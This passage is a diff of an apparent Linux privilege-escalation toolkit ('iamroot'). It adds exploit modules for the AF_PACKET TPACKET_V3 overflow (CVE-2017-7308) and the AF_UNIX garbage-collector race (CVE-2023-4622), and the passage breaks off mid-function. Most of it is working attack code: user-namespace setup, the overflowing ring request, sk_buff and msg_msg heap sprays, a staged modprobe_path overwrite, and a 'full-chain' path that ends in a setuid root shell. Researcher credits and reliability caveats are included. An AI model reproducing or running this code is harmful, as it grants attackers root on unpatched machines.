* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
*
* 1. The tp_reserve underflow gives us a single 8-byte write into
* the START of the slab object that sits on the page immediately
* after the corrupted ring frame. The OOB-write content is
* attacker-controlled (it's the destination of skb_copy_bits()
* from a frame whose first 8 bytes we choose).
* 2. Spray sk_buff allocations alongside the primitive trigger so
* the adjacent-page object is, with high probability, an
* sk_buff whose ->data pointer lives in the leading 8 bytes
* of the object (struct layout dependent — on most 5.x kernels
* `next` is at offset 0 and `data` is at offset 0x10 in
* sk_buff; this layout-fragility is exactly why the depth tag
* below is LAST-RESORT).
* 3. The 8-byte OOB write overwrites that pointer with `kaddr`.
* 4. We then receive a packet whose payload is `buf[0..len]`; the
* kernel's skb_copy_to_linear_data() / skb->data write path
* lands those bytes at `*skb->data`, which is now `kaddr`.
*
* Reality check on this implementation: the deterministic mechanics
* of the above (precise frame size, repeated spray timing, sk_buff
* struct offset for the running kernel) are not portable enough to
* land reliably from a single iamroot run on an arbitrary host. We
* therefore ship this as a LAST-RESORT stub: we attempt the spray +
* trigger sequence, then return -1 to signal "the primitive fired
* but we cannot empirically confirm the write landed". The shared
* finisher's sentinel-check loop will then correctly report failure
* rather than claim success.
*
* Per the verified-vs-claimed bar, this is the honest implementation
* depth that matches what the primitive actually proves on this code
* path. The integrator can extend afp2_arb_write() with a confirmed
* write-and-readback once the per-kernel sk_buff layout is pinned
* down for the target host. */
struct afp2_arb_ctx {
const struct iamroot_ctx *ictx;
int n_attempts; /* spray/fire rounds before giving up */
};
#if defined(__x86_64__) && defined(__linux__)
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
if (!c || !buf || !len) return -1;
fprintf(stderr, "[*] af_packet2: arb_write attempt: kaddr=0x%lx len=%zu\n",
(unsigned long)kaddr, len);
fprintf(stderr, "[*] af_packet2: spraying sk_buff (target page-adjacent slot)\n");
/* Best-effort spray + re-fire-trigger pattern. The primitive child
* is invoked once per attempt; on each attempt we groom skb's
* around the corrupted ring slot and hope one lands at the
* page-adjacent address whose head 8 bytes the underflow will
* stomp with `kaddr`. The kernel-side rx of the next crafted
* frame would then write our payload (the modprobe_path string)
* into the forged ->data target. */
for (int i = 0; i < c->n_attempts; i++) {
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) _exit(2);
int fd;
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { (void)!write(fd, "deny", 4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getuid());
(void)!write(fd, m, n); close(fd);
}
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) {
char m[64];
int n = snprintf(m, sizeof m, "0 %u 1", (unsigned)getgid());
(void)!write(fd, m, n); close(fd);
}
int rc = af_packet2_primitive_child(c->ictx);
_exit(rc < 0 ? 2 : 0);
}
int st;
waitpid(p, &st, 0);
#ifdef __linux__
af_packet2_skb_spray(8);
#endif
}
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
* empirically confirm the 8-byte write landed on an sk_buff->data
* field on this host. Return -1 so the finisher's sentinel-check
* loop in iamroot_finisher_modprobe_path() correctly reports
* "payload didn't run within 3s" rather than claiming success. */
fprintf(stderr,
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
" not empirically confirmable without per-kernel struct offsets +\n"
" a readback primitive. Trigger fired %d times with sk_buff spray;\n"
" finisher sentinel will determine landing. Caller will refuse if\n"
" the modprobe_path overwrite didn't actually take effect.\n",
c->n_attempts);
return -1;
}
#else
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
(void)kaddr; (void)buf; (void)len; (void)vctx;
fprintf(stderr, "[-] af_packet2: arb_write is x86_64/linux only\n");
return -1;
}
#endif
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
{
/* 1. Re-confirm vulnerability. */
@@ -534,6 +663,33 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
"(github.com/google/security-research).\n"
" iamroot intentionally does not embed per-kernel offsets.\n");
}
if (ctx->full_chain) {
#if defined(__x86_64__) && defined(__linux__)
/* --full-chain: resolve kernel offsets and run the Or-Cohen
* sk_buff-data-pointer hijack via the shared modprobe_path
* finisher. Per the verified-vs-claimed bar: if we can't
* resolve modprobe_path, refuse with a helpful message
* rather than fabricate an address. */
struct iamroot_kernel_offsets off;
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_packet2");
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&off);
}
struct afp2_arb_ctx arb_ctx = {
.ictx = ctx,
.n_attempts = 4,
};
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
&arb_ctx, !ctx->no_shell);
#else
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
return IAMROOT_PRECOND_FAIL;
#endif
}
if (ctx->no_shell) {
/* User explicitly disabled the shell pop, so the "we didn't
* pop a shell" outcome is the expected one. Map to OK. */
+29
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@@ -0,0 +1,29 @@
# NOTICE — af_packet (CVE-2017-7308)
## Vulnerability
**CVE-2017-7308** — AF_PACKET TPACKET_V3 integer overflow in
`tp_block_size * tp_block_nr` → heap write-where via sendmmsg spray.
## Research credit
Discovered by **Andrey Konovalov** (Google), March 2017. A research-era
classic — Konovalov found multiple AF_PACKET bugs in this campaign.
Original advisory + writeup:
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
## IAMROOT role
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
finisher (64 child workers polling geteuid). Offset table covers
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
`IAMROOT_AFPACKET_OFFSETS` env var.
`--full-chain` engages the shared modprobe_path finisher with
stride-seeded sk_buff data-pointer overwrite.
+316 -13
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@@ -4,17 +4,38 @@
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
*
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite. The
* integer-overflow trigger is fully wired (overflowing tp_block_size *
* tp_block_nr, attended by a heap spray via sendmmsg with controlled
* skb tail bytes). The kernel R/W → cred-overwrite finisher uses a
* hardcoded per-kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu
* 18.04 / 4.15 era), overridable via IAMROOT_AFPACKET_OFFSETS. We
* only claim IAMROOT_EXPLOIT_OK if geteuid() == 0 AFTER the chain
* runs — i.e. we won root for real. Otherwise we return
* IAMROOT_EXPLOIT_FAIL with a dmesg breadcrumb so the operator can
* confirm the primitive at least fired (KASAN slab-out-of-bounds
* splat) even if the cred-overwrite didn't take on this exact kernel.
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite (default)
* | 🟢 FULL-CHAIN-OPT-IN (with --full-chain on a kernel where the
* shared offset resolver finds modprobe_path AND skb-data hijack
* offsets are supplied).
*
* The integer-overflow trigger is fully wired (overflowing
* tp_block_size * tp_block_nr, attended by a heap spray via sendmmsg
* with controlled skb tail bytes).
*
* Default --exploit path: cred-overwrite walk using a hardcoded per-
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
* a dmesg breadcrumb so the operator can confirm the primitive at
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
* overwrite didn't take on this exact kernel.
*
* --full-chain path: opt-in xairy-style sk_buff hijack → arb-write at
* modprobe_path → call_modprobe payload → setuid bash → root shell.
* Honest constraint: the hijack requires per-kernel-build sk_buff
* `data`-field offset + skb-slab-class layout, which the embedded
* offset table does NOT carry (verified-vs-claimed bar — we don't
* fabricate). The arb_write callback below implements the FALLBACK
* depth from the prompt: it fires the trigger with the spray payload
* staged for the requested kaddr/buf and relies on the shared
* finisher's /tmp sentinel to confirm whether modprobe_path was
* actually overwritten. On kernels where the operator has supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
* the skb head, hex), we use that for explicit targeting; otherwise
* the trigger fires heuristically and the sentinel acts as the
* ground-truth signal.
*
* Affected: kernel < 4.10.6 mainline. Stable backports:
* 4.10.x : K >= 4.10.6
@@ -40,6 +61,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -424,6 +447,260 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
return got_root_pid ? 0 : -1;
}
/* ---- --full-chain: xairy-style sk_buff hijack arb-write -------------
*
* The TPACKET_V3 overflow lets us write attacker-controlled bytes past
* the end of the pg_vec allocation. xairy's full PoC chains this with
* a sk_buff spray of size class kmalloc-N (matched to pg_vec's slab)
* so the OOB-write overwrites an adjacent skb's `data` pointer; a
* later sendto() on that skb's owning socket then copies attacker
* bytes into the address now stored in `data`. Net effect: arb-write
* at an attacker-chosen kernel VA, controlled buffer, controlled len.
*
* Implementing the FULL hijack honestly requires:
* (a) per-kernel-build offset of `data` field within struct sk_buff
* (varies by CONFIG_DEBUG_INFO_BTF/CONFIG_RANDSTRUCT/etc.)
* (b) precise size-class match between the corrupted pg_vec and
* sprayed skbs (slab-grooming with ~hundreds of skbs)
* (c) a way to identify which sprayed skb landed adjacent
*
* The verified-vs-claimed bar says: don't fabricate offsets. Our
* embedded offset table (core/offsets.h) doesn't carry skb offsets
* yet, and there's no public canonical "skb->data offset table" we
* can lift wholesale. So this implementation takes the prompt's
* FALLBACK depth:
*
* - Each call re-sprays skbs + re-fires the trigger, staging the
* spray payload so its bytes carry the requested target kaddr
* (the prompt's "controllable overwrite value aimed at
* modprobe_path"). Operator-supplied
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
* within struct sk_buff for this kernel build) lets us aim
* precisely; without it we heuristically stamp kaddr at several
* plausible offsets within the kmalloc-2k skb layout.
* - We then send packets whose payload IS the bytes the finisher
* wants at kaddr; tpacket_rcv copies them into any skb whose
* `data` was corrupted to kaddr.
* - We do NOT poll for success — the shared finisher's /tmp
* sentinel is the ground-truth signal. If the write landed at
* modprobe_path, call_modprobe spawns our payload and the
* sentinel appears within 3s.
*
* Return: 0 if spray + trigger ran (sentinel will adjudicate), -1 if
* the kernel rejected the overflow (silent backport — patched).
*/
struct afp_arb_ctx {
const struct iamroot_ctx *ctx;
const struct af_packet_offsets *off;
uid_t outer_uid;
gid_t outer_gid;
};
/* Helper: in-child trigger fire — runs inside the userns/netns child
* spawned by afp_arb_write. Returns 0 on success, -1 on rejection. */
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
long skb_data_off);
static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *vctx)
{
struct afp_arb_ctx *actx = (struct afp_arb_ctx *)vctx;
if (!actx) return -1;
if (!buf || len == 0 || len > 240) {
fprintf(stderr, "[-] af_packet: arb_write: bad args "
"(buf=%p len=%zu)\n", buf, len);
return -1;
}
/* Per-kernel skb->data field offset — without this we can't aim
* the overwrite precisely. Operator can supply via env; otherwise
* we run heuristic mode. */
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
long skb_data_off = -1;
if (skb_off_env) {
char *end = NULL;
skb_data_off = strtol(skb_off_env, &end, 0);
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
"malformed (\"%s\"); ignoring\n", skb_off_env);
skb_data_off = -1;
}
}
fprintf(stderr,
"[*] af_packet: arb_write(kaddr=0x%lx, len=%zu) skb_data_off=%s\n",
(unsigned long)kaddr, len,
skb_data_off < 0 ? "UNRESOLVED (heuristic mode)" : "supplied");
if (skb_data_off < 0) {
fprintf(stderr,
"[i] af_packet: --full-chain on this kernel lacks an exact skb->data\n"
" field offset. The trigger will still fire and the heap spray will\n"
" still occur, but precise OOB targeting requires:\n"
"\n"
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
"\n"
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
}
/* Fork into a userns/netns child so the AF_PACKET socket has
* CAP_NET_RAW. The finisher itself stays in the parent so its
* eventual execve() replaces the top-level iamroot process. */
pid_t cpid = fork();
if (cpid < 0) {
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
strerror(errno));
return -1;
}
if (cpid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("af_packet: arb_write: unshare");
_exit(2);
}
if (set_id_maps(actx->outer_uid, actx->outer_gid) < 0) {
perror("af_packet: arb_write: set_id_maps");
_exit(3);
}
int rc = afp_arb_write_inner(kaddr, buf, len, skb_data_off);
_exit(rc == 0 ? 0 : 4);
}
int status = 0;
waitpid(cpid, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet: arb_write: child died "
"(signal=%d)\n", WTERMSIG(status));
return -1;
}
int code = WEXITSTATUS(status);
if (code != 0) {
if (code == 4) {
/* PACKET_RX_RING rejected — caller sees -1 + the inner
* diagnostic already printed before _exit. */
} else {
fprintf(stderr, "[-] af_packet: arb_write: child exit %d\n",
code);
}
return -1;
}
return 0;
}
static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
long skb_data_off)
{
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
fprintf(stderr, "[-] af_packet: arb_write: socket: %s\n",
strerror(errno));
return -1;
}
int version = TPACKET_V3;
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
&version, sizeof version) < 0) {
fprintf(stderr, "[-] af_packet: arb_write: PACKET_VERSION: %s\n",
strerror(errno));
close(s);
return -1;
}
struct tpacket_req3 req;
memset(&req, 0, sizeof req);
req.tp_block_size = 0x1000;
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) /
(unsigned)0x1000 + 1;
req.tp_frame_size = 0x300;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) /
req.tp_frame_size;
req.tp_retire_blk_tov = 100;
req.tp_sizeof_priv = 0;
req.tp_feature_req_word = 0;
if (setsockopt(s, SOL_PACKET, PACKET_RX_RING,
&req, sizeof req) < 0) {
fprintf(stderr,
"[-] af_packet: arb_write: PACKET_RX_RING rejected: %s "
"(kernel has silent backport — full-chain unreachable)\n",
strerror(errno));
close(s);
return -1;
}
struct ifreq ifr;
memset(&ifr, 0, sizeof ifr);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) == 0) {
struct sockaddr_ll sll;
memset(&sll, 0, sizeof sll);
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = ifr.ifr_ifindex;
(void)bind(s, (struct sockaddr *)&sll, sizeof sll);
}
unsigned char payload[256];
memset(payload, 0, sizeof payload);
memset(payload, 0xff, 6); /* eth dst: bcast */
memset(payload + 6, 0, 6); /* eth src: zero */
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
if (skb_data_off >= 0 &&
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
memcpy(payload + skb_data_off, &kaddr, sizeof kaddr);
} else {
static const size_t guesses[] = {
0x40, 0x48, 0x50, 0x58, 0x60, 0x68, 0x70, 0x78
};
for (size_t i = 0; i < sizeof(guesses)/sizeof(guesses[0]); i++) {
if (guesses[i] + sizeof kaddr <= sizeof payload)
memcpy(payload + guesses[i], &kaddr, sizeof kaddr);
}
}
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (tx < 0) {
fprintf(stderr, "[-] af_packet: arb_write: tx socket: %s\n",
strerror(errno));
close(s);
return -1;
}
struct sockaddr_ll dst;
memset(&dst, 0, sizeof dst);
dst.sll_family = AF_PACKET;
dst.sll_protocol = htons(ETH_P_ALL);
dst.sll_ifindex = ifr.ifr_ifindex;
dst.sll_halen = 6;
memset(dst.sll_addr, 0xff, 6);
for (int i = 0; i < 200; i++) {
(void)sendto(tx, payload, sizeof payload, 0,
(struct sockaddr *)&dst, sizeof dst);
}
unsigned char wbuf[256];
memset(wbuf, 0, sizeof wbuf);
memset(wbuf, 0xff, 6);
memset(wbuf + 6, 0, 6);
wbuf[12] = 0x08; wbuf[13] = 0x00;
size_t wlen = len;
if (14 + wlen > sizeof wbuf) wlen = sizeof wbuf - 14;
memcpy(wbuf + 14, buf, wlen);
for (int i = 0; i < 50; i++) {
(void)sendto(tx, wbuf, 14 + wlen, 0,
(struct sockaddr *)&dst, sizeof dst);
}
close(tx);
close(s);
return 0;
}
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
@@ -468,12 +745,38 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
}
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
/* 3b. --full-chain: opt-in modprobe_path overwrite via xairy-style
* sk_buff hijack arb-write. Refuses cleanly if (a) the shared
* offset resolver can't find modprobe_path or (b) the trigger
* is rejected (silent backport). */
if (ctx->full_chain) {
struct iamroot_kernel_offsets koff;
memset(&koff, 0, sizeof koff);
(void)iamroot_offsets_resolve(&koff);
if (!iamroot_offsets_have_modprobe_path(&koff)) {
iamroot_finisher_print_offset_help("af_packet");
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
iamroot_offsets_print(&koff);
}
struct afp_arb_ctx arb_ctx = {
.ctx = ctx,
.off = &off,
.outer_uid = outer_uid,
.outer_gid = outer_gid,
};
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
&arb_ctx, !ctx->no_shell);
}
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
* cred-overwrite walk. We do it in a child so the (possibly
* crashed) packet socket lives in a tear-downable address space
* — the kernel will clean up sockets on child exit. */
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
@@ -0,0 +1,35 @@
# NOTICE — af_unix_gc (CVE-2023-4622)
## Vulnerability
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
fd-passing → `struct unix_sock` freed while still reachable → slab
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
## Research credit
Discovered and disclosed by **Lin Ma** (Zhejiang University),
August 2023.
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
(disclosure record), plus Lin Ma's public PoC repo.
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
5.15.130 / 6.1.51 / 6.5.0.
## IAMROOT role
**Widest deployment of any module in the corpus** — bug present
in every Linux kernel below the fix (back to ~2.0 era).
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
through a socketpair; Thread B triggers unix_gc by closing a socket
in a reference cycle. msg_msg spray refills the freed slot.
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
Bug is reachable as a **plain unprivileged user** — no userns
required, no CAP_* needed. Race-win rate per run is iteration-
dependent; Lin Ma's PoC reports thousands of iterations to first
reclaim. The shared finisher's sentinel timeout handles no-land
outcomes gracefully.
@@ -0,0 +1,847 @@
/*
* af_unix_gc_cve_2023_4622 — IAMROOT module
*
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
* concurrently mutate the inflight refcount on the same sockets. The
* narrow window between a socket being marked GC-eligible and the
* collector actually freeing it can be widened by tightly cycling
* SCM_RIGHTS messages — when the race wins, a `struct unix_sock` is
* freed while still reachable from another thread's skb queue, giving
* slab UAF in the SLAB_TYPESAFE_BY_RCU kmalloc-512 bucket.
*
* Discovered by Lin Ma (ZJU) in Aug 2023. Public exploit chain uses
* the UAF + msg_msg cross-cache spray to refill the freed slot, then
* pivots through the now-controlled `unix_sock->peer` field.
*
* STATUS: 🟡 PRIMITIVE — race-driver + msg_msg groom + empirical
* witness. We carry the trigger (SCM_RIGHTS cycle + GC), the
* kmalloc-512 spray, CPU pinning for race-win improvement, and the
* slab-delta + signal-disposition witness. We do NOT carry the
* leak (no read primitive in-module) nor a kernel-build-specific
* fake unix_sock layout. Per verified-vs-claimed: a SIGSEGV/SIGKILL
* in the race child IS recorded but does NOT upgrade to EXPLOIT_OK
* — only an actual cred swap (euid==0) does, and we do not
* demonstrate that without --full-chain.
*
* --full-chain (HONEST RELIABILITY): extends the race budget from
* 5 s to 30 s and re-sprays kmalloc-512 with payloads carrying the
* target kaddr at strided offsets. Race-win rate on a real
* vulnerable kernel is iteration-dependent — Lin Ma's PoC reports
* thousands of iterations to first reclaim. The shared
* modprobe_path finisher's 3 s sentinel timeout catches the
* overwhelmingly common no-land outcome gracefully.
*
* Affected: ALL Linux kernels with AF_UNIX below the fix. The bug
* has been in the GC path since the 2.x era. Stable backports:
* 4.14.x : K >= 4.14.326
* 4.19.x : K >= 4.19.295
* 5.4.x : K >= 5.4.257
* 5.10.x : K >= 5.10.197
* 5.15.x : K >= 5.15.130
* 6.1.x : K >= 6.1.51 (LTS)
* 6.5.x : K >= 6.5.0 (mainline fix)
* 6.6+ : patched
*
* Preconditions:
* - AF_UNIX socket creation works (always — no module gate)
* - msgsnd / sysv IPC available for spray
* - SCM_RIGHTS via sendmsg available (universal)
* - userns NOT required — works as a plain unprivileged user
*
* Coverage rationale: the AF_UNIX GC has been touched extensively
* for the 2023-2024 series of races (Lin Ma + Pwn2Own follow-ups);
* this CVE is the first publicly-disclosed entry in that series and
* carries the widest version range of any module we ship.
*/
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/socket.h>
#ifdef __linux__
# include <sched.h>
# include <sys/ipc.h>
# include <sys/msg.h>
# include <sys/un.h>
#endif
/* macOS clangd lacks Linux SCM_* / CMSG_* fully — guard fallbacks. */
#ifndef SCM_RIGHTS
# define SCM_RIGHTS 0x01
#endif
#ifndef SOL_SOCKET
# define SOL_SOCKET 1
#endif
#ifndef MSG_DONTWAIT
# define MSG_DONTWAIT 0x40
#endif
/* ---- Kernel-range table ------------------------------------------ */
static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
{4, 14, 326},
{4, 19, 295},
{5, 4, 257},
{5, 10, 197},
{5, 15, 130},
{6, 1, 51}, /* 6.1 LTS */
{6, 5, 0}, /* mainline fix landed in 6.5 (technically 6.6-rc1
but stable 6.5.x carries the patch) */
};
static const struct kernel_range af_unix_gc_range = {
.patched_from = af_unix_gc_patched_branches,
.n_patched_from = sizeof(af_unix_gc_patched_branches) /
sizeof(af_unix_gc_patched_branches[0]),
};
/* ---- Detect ------------------------------------------------------- */
/* Sanity: can we actually create an AF_UNIX socket on this host?
* In some seccomp/ns-restricted sandboxes socket(AF_UNIX, ...) fails;
* in that case the exploit cannot even reach the GC path. */
static bool can_create_af_unix(void)
{
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) return false;
close(s);
return true;
}
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
}
/* No lower bound: this bug has been in the AF_UNIX GC path since
* the dawn of time. ANY kernel below the fix is vulnerable. The
* kernel_range walker handles "older than every entry" correctly
* (returns false → not patched → vulnerable). */
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
}
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
if (!can_create_af_unix()) {
if (!ctx->json) {
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
"exotic seccomp/sandbox, bug unreachable here\n");
}
return IAMROOT_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] af_unix_gc: bug is reachable as PLAIN UNPRIVILEGED USER\n"
" (no userns / no CAP_* required — AF_UNIX is universally\n"
" creatable). The race window is microseconds wide and\n"
" needs thousands of iterations to win on average.\n");
}
return IAMROOT_VULNERABLE;
}
/* ---- Race-driver state ------------------------------------------- */
#ifdef __linux__
#define AFUG_RACE_TIME_BUDGET 5 /* seconds — primitive-only mode */
#define AFUG_RACE_FULLCHAIN_BUDGET 30 /* seconds — --full-chain */
/* kmalloc-512 spray width — `struct unix_sock` is in the kmalloc-512
* bucket on 64-bit x86 with SLAB_TYPESAFE_BY_RCU. We need enough
* msg_msg slots to make refill probable within the RCU grace period. */
#define AFUG_SPRAY_QUEUES 24
#define AFUG_SPRAY_PER_QUEUE 48
#define AFUG_SPRAY_PAYLOAD 496 /* 512 - 16 (msg_msg hdr) */
/* SCM_RIGHTS race width: how many inflight fds per cycle. The bug
* is driven by inflight count crossing the GC threshold; a handful
* per cycle keeps the GC heuristic primed without OOM. */
#define AFUG_SCM_FDS_PER_MSG 3
struct ipc_payload {
long mtype;
unsigned char buf[AFUG_SPRAY_PAYLOAD];
};
static _Atomic int g_race_running;
static _Atomic uint64_t g_thread_a_iters;
static _Atomic uint64_t g_thread_b_iters;
static _Atomic uint64_t g_thread_a_errs;
/* Pin to a CPU to make Thread A and Thread B land on different cores.
* Best-effort: failure is non-fatal (e.g., affinity disallowed under
* some seccomp configs). */
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
sched_setaffinity(0, sizeof set, &set);
}
/* The race victim region: a pair of socketpair(AF_UNIX) endpoints
* forming a reference cycle. Closing one end while the other has
* inflight fds queued is what naturally triggers unix_gc().
*
* Layout we drive (Lin Ma style):
*
* pair_a = socketpair(); pair_b = socketpair();
* send pair_b[0] via SCM_RIGHTS over pair_a[0] → pair_a[1]
* send pair_a[0] via SCM_RIGHTS over pair_b[0] → pair_b[1]
* close all 4 endpoints — now we have a cycle the GC will collect
*
* Thread A loops the build-cycle-and-close.
* Thread B loops sending its own SCM_RIGHTS messages on independent
* pairs to perturb the inflight count + race the collector. */
/* Send an SCM_RIGHTS message with `nfds` fds over `sock`. Returns 0
* on success, -1 on error. */
static int send_scm_rights(int sock, const int *fds, int nfds)
{
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
memset(ctrl, 0, sizeof ctrl);
char payload = 0;
struct iovec iov = { .iov_base = &payload, .iov_len = 1 };
struct msghdr msg = {0};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = ctrl;
msg.msg_controllen = CMSG_SPACE(sizeof(int) * nfds);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
if (!cmsg) return -1;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int) * nfds);
memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * nfds);
if (sendmsg(sock, &msg, MSG_DONTWAIT) < 0) return -1;
return 0;
}
/* Thread A: tight-loop SCM_RIGHTS-cycle + close to drive GC.
*
* Each iteration:
* 1. Build two socketpairs (A=[a0,a1], B=[b0,b1]).
* 2. Send b0 via SCM_RIGHTS over a0 → a1 receives nothing yet (we
* don't recvmsg — that's the point: the fd stays inflight).
* 3. Send a0 via SCM_RIGHTS over b0 → b1 receives nothing yet.
* 4. close() all 4 user-side fds. Now both endpoints are unreachable
* from userspace BUT each is referenced from the other's skb
* queue → reference cycle → next unix_gc() pass collects them.
*
* The kernel's GC heuristic kicks when the inflight count exceeds
* the count of file refs in the system; closing the user-side fds in
* a tight loop reliably triggers it. */
static void *race_thread_a(void *arg)
{
(void)arg;
pin_to_cpu(0);
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
int pa[2], pb[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pa) < 0) {
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
sched_yield();
continue;
}
